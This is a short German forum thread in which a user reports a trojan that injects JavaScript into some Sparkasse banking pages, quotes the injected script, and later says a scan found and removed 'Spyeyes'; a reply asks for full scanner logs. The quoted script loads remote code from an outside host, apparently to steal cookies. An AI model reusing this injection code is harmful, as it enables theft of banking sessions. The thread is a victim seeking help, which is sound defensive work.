Trojaner verändert Sparkassenseite beim Starten!
 

Hallo!
Habe einen Trojaner entdeckt der beim Starten verschiedener Sparkassenseiten (nicht alle) in den Body Tag folgenden Code kopiert.

<script type="text/javascript">
var mcook=null;
var ooo=1;
function get_cookm(){
var str='<script type="text/javascript" src="https://grandtarf.com/cook2/get_cook.php?rnd='+Math.random()+'"></scr'+'ipt>';
document.write(str);
}
get_cookm();

Microsoft Security Essentials und Spybot haben nichts gefunden!

Kennt Jemand diesen Code?
Weiß Jemand um was für einen Trojaner es sich handelt?

Ich habe festgestellt daß sich die verseuchte Datei im Verzeichnis
C:\Users\%USERNAME%\AppData\Roaming\Microsoft befindet.

Nach einer Systemwiederherstellung war dieser Effekt verschwunden.

Gruß dsdino

PS
Betriebssystem ist Windows 7
Habe jetzt einen Scan mit Anti-Malware gemacht und es wurde im Recycler der Trojan Spyeyes gefunden und erfolgreich entfernt.

Sind noch weitere Maßnamen notwendig?
Gruß dsdino

Solche Angaben reichen nicht, bitte poste die vollständigen Angaben/Logs der Virenscanner.